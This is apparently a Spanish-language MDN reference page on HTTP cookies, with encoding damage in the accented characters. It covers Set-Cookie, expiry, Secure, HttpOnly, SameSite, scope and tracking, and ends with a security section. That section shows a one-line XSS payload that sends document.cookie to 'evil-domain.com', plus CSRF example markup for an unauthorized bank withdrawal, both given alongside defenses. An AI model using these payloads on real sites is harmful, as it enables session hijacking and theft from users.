HTTP cookies

Una cookie HTTP, cookie web o cookie de navegador es una peque帽a pieza de datos que un servidor env铆a a el navegador web del usuario. El navegador guarda estos datos y los env铆a de regreso junto con la nueva petici贸n al mismo servidor. Las cookies se usan generalmente para decirle al servidor que dos peticiones tienen su origen en el mismo navegador web lo que permite, por ejemplo, mantener la sesi贸n de un usuario abierta. Las cookies permiten recordar la informaci贸n de estado en vista a que el protocolo HTTP es un protocolo sin estado.

Las cookies se utilizan principalmente con tres prop贸sitos:

Gesti贸n de Sesiones
Inicios de sesi贸n, carritos de compras, puntajes de juegos o cualquier otra cosa que el servidor deba recordar
Personalizaci贸n
Preferencias de usuario, temas y otras configuraciones
Rastreo
Guardar y analizar el comportamiento del usuario

Las cookies se usaron una vez para el almacenamiento general del lado del cliente. Si bien esto era leg铆timo cuando eran la 煤nica forma de almacenar datos en el cliente, hoy en d铆a se recomienda preferir las API de almacenamiento modernas. Las cookies se env铆an con cada solicitud, por lo que pueden empeorar el rendimiento (especialmente para las conexiones de datos m贸viles). Las APIs modernas para el almacenamiento del cliente son la Web storage API (localStorage y sessionStorage) e IndexedDB.

Para ver las cookies almacenadas (y otro tipo de almacenamiento que una p谩gina web puede usar), puede habilitar el Inspector de Almacenamiento en Herramientas del desarrollador y seleccionar Cookies en el 谩rbol de almacenamiento.

Creando cookies

Al recibir una solicitud HTTP, un servidor puede enviar un encabezado Set-Cookie con la respuesta. La cookie generalmente es almacenada por el navegador, y luego la cookie se env铆a con solicitudes hechas al mismo servidor dentro de un encabezado HTTP Cookie. Se puede especificar una fecha de vencimiento o duraci贸n, despu茅s de lo cual ya no se env铆a la cookie. Adem谩s, se pueden establecer restricciones a un dominio y ruta espec铆ficos, lo que limita el lugar donde se env铆a la cookie.

El encabezado de respuesta HTTP Set-Cookie env铆a las cookies del servidor al agente de usuario. Una cookie simple se establece as铆:

Set-Cookie: <nombre-cookie>=<valor-cookie>

Este encabezado del servidor le dice al cliente que almacene una cookie.

Note: Aqu铆 se explica como usar el encabezado Set-Cookie en varias aplicaciones del lado del servidor:
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

Ahora, con cada nueva solicitud al servidor, el navegador enviar谩 todas las cookies almacenadas previamente al servidor utilizando el encabezado Cookie.

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Cookies de sesi贸n

La cookie creada anteriormente es una cookie de sesi贸n: se elimina cuando el cliente se cierra, por que no se especific贸 una directiva ExpiresMax-Age . Sin embargo, los navegadores web pueden usar la restauraci贸n de sesiones, lo que hace que la mayor铆a de las cookies de sesi贸n sean permanentes, como si el navegador nunca se cerrara.

Cookies Permanentes

En lugar de expirar cuando el cliente se cierra, las cookies permanentes expiran en una fecha espec铆fica (Expires) o tras un periodo de tiempo espec铆fico (Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Nota: Cuando se establece una fecha de expiraci贸n, la fecha y hora que se establece es relativa al cliente en el que se establece la cookie, no del servidor.

Cookies Secure y HttpOnly

Una cookie segura s贸lo se env铆a al servidor con una petici贸n cifrada sobre el protocolo HTTPS. Incluso con Secure, no deber铆a almacenarse nunca informaci贸n sensible en la cookies, ya que son inherentemente inseguras y este flag no puede ofrecer protecci贸n real. A partir de Chrome 52 y Firefox 52, los sitios inseguros (http:) no pueden establecer cookies con la directiva Secure.

Para prevenir ataques cross-site scripting (XSS), las cookies HttpOnly son inaccesibles desde la API de Javascript Document.cookie; Solamente se env铆an al servidor. Por ejemplo, las cookies que persisten sesiones del lado del servidor no necesitan estar disponibles para JavaScript, por lo que deber铆a establecerse el flag HttpOnly.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Alcance de las cookies

Las directivas DomainPath definen el alcance de la cookie: a qu茅 URLs deber铆an enviarse las cookies.

Domain especifica los hosts permitidos para recibir la cookie. Si no se especifica, toma como valor por defecto el host del Document.location actual, excluyendo subdominios. Si se especifica Domain, los subdominios son siempre incluidos.

Por ejemplo, si se establece Domain=mozilla.org, las cookies se incluyen en subdominios como developer.mozilla.org.

Path indica una ruta URL que debe existir en la URL solicitada para enviar el header. El car谩cter %x2F ("/") es considerado un separador de directorios, y los subdirectorios tambi茅n coincidir谩n.

Por ejemplo, si se establece Path=/docs estas rutas coincidir谩n:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

Cookies SameSite

Las cookies SameSite permiten a los servidores requerir que una cookie no sea enviada con solicitudes cross-site (donde Site es definido por el dominio registrabe), lo que proporciona algo de protecci贸n contra ataques cross-site request forgery (CSRF).

Las cookies SameSite son relativamente nuevas y soportadas por los principales navegadores.

Aqu铆 hay un ejemplo:

Set-Cookie: key=value; SameSite=Strict

El atributo same-site puede tomar uno de los dos valores (case-insensitive):

Strict
Si una cookie same-site tiene este atributo, el navegador s贸lo enviar谩 cookies si la solicitud se origin贸 en el sitio web que estableci贸 la cookie. Si la solicitud se origin贸 desde una URL diferente que la URL del location actual, no se incluir谩 ninguna cookie etiquetada con el atributo Strict.
Lax
Si el atributo se establece en Lax, las cookies same-site se retienen en (sub)peticiones cross-site, tales como llamadas para cargar im谩genes o frames, pero se enviar谩n cuando un usuario navegue a la URL desde un sitio externo, por ejemplo, siguiendo un enlace.

El comportamiento por defecto de este flag si no est谩 establecido, o no est谩 soportado por el navegador, es incluir las cookies en cualquier solicitud, incluyendo solicitudes corss-origin.

Acceso desde JavaScript usando Document.cookie

Tambi茅n se pueden crear nuevas cookies via JavaScript usando la propiedad Document.cookie, y si el flag HttpOnly no est谩 establecido, tambi茅n se puede acceder a las cookies existentes desde JavaScript.

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

Tenga en cuenta las cuestiones de seguridad en la siguiente secci贸n Seguridad. Las cookies disponibles para JavaScript pueden ser robadas por medio de XSS.

Seguridad

Nunca se debe almacenar ni transmitir informaci贸n confidecial o sensible mediante Cookies HTTP, ya que todo el mecanismo es inherentemente inseguro.

Secuestro de session y XSS

Las cookies son utilizadas a menudo en aplicaciones web para identificar a un usuario y su sesi贸n autenticada, as铆 que el robo de una cookie puede implicar el secuestro de la sesi贸n del usuario autenticado. Las formas m谩s comunes de robar cookies incluyen ingenier铆a social o la explotaci贸n de una vulnerabilidad XSS de la aplicaci贸n.

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

El atributo cookie HttpOnly puede ayudar a mitigar este ataque evitando el acceso al valor de la cookie a trav茅s de JavaScript.

Cross-site request forgery (CSRF)

Wikipedia menciona buenos ejemplos para CSRF. En este caso, alguien puede incluir una imagen que no es realmente una imagen (por ejemplo un chat o foro sin filtrar), que en lugar de esto es realmente una solicitud de tu banco para retirar tu dinero:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Ahora, si tu tienes una sesi贸n iniciada en tu tu cuenta bancaria y las cookies permanecen siendo v谩lidas (y no hay otra validaci贸n mas que esa), se realizar谩 la transferencia desde tu cuenta tan pronto como se cargue el html que contiene la imagen. Para los endpoints que requieren una petici贸n de tipo POST, se puede disparar un evento de tipo env铆o de formulario (posiblemente en un iframe invisible) cuando la p谩gina se carga:

<form action="https://bank.example.com/withdraw" method="POST">
  <input type="hidden" name="account" value="bob">
  <input type="hidden" name="amount" value="1000000">
  <input type="hidden" name="for" value="mallory">
</form>
<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>

Se presentan aqu铆 algunas t茅cnicas que se deber铆an usar para evitar que estas cosas ocurran:

  • Los endpoints GET no deben tener acciones de modificaci贸n, y si esto se necesita se deber铆a requerir una petici贸n POST. Adem谩s los endpoints POST no deber铆a aceptar la intercambiabilidad de aceptar peticiones GET con parametros en query string
  • Un token CSRF deber铆a ser incluido en cada elemento <form> mediante un input oculto. Este token debe ser 煤nico para cada usuario y almacenado (por ejemplo, en una cookie). De esta forma el servidor puede mirar si el valor requerido es enviado, y en cierto modo lo idea ser铆a descartar la petici贸n si el valor no concuerda con lo esperado.
    • Este m茅todo de protecci贸n recae en la imposibilidad de que un atacante pueda predecir este token autogenerado en cada inicio de sesi贸n. Cabe aclarar que este token deber铆a ser regenerado en cada inicio de sesi贸n.
  • Al igual que con {{Glosario ("XSS")}}, el filtrado de entrada es importante.
  • Deber铆a de existir siempre un requerimiento de confirmaci贸n para cualquier acci贸n delicada,.
  • Las cookies empleadas en acciones delicadas deber铆an de tener una vida 煤til breve.
  • Para m谩s prevenci贸n visita OWASP CSRF prevention cheat sheet.

Tracking and privacy

Third-party cookies

Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a first-party cookie. If the domain is different, it is said to be a third-party cookie. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the types of cookies used by Google. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, Privacy Badger by the EFF).

If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikipedia's cookie statement.

Do-Not-Track

There are no legal or technological requirements for its use, but the DNT header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the DNT header for more information.

Requirements for cookies across the EU are defined in Directive 2009/136/EC of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.

In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners since then to inform the user about the use of cookies.

For more, see this Wikipedia section and consult state laws for the latest and most accurate information.

Zombie cookies and Evercookies

A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.

See also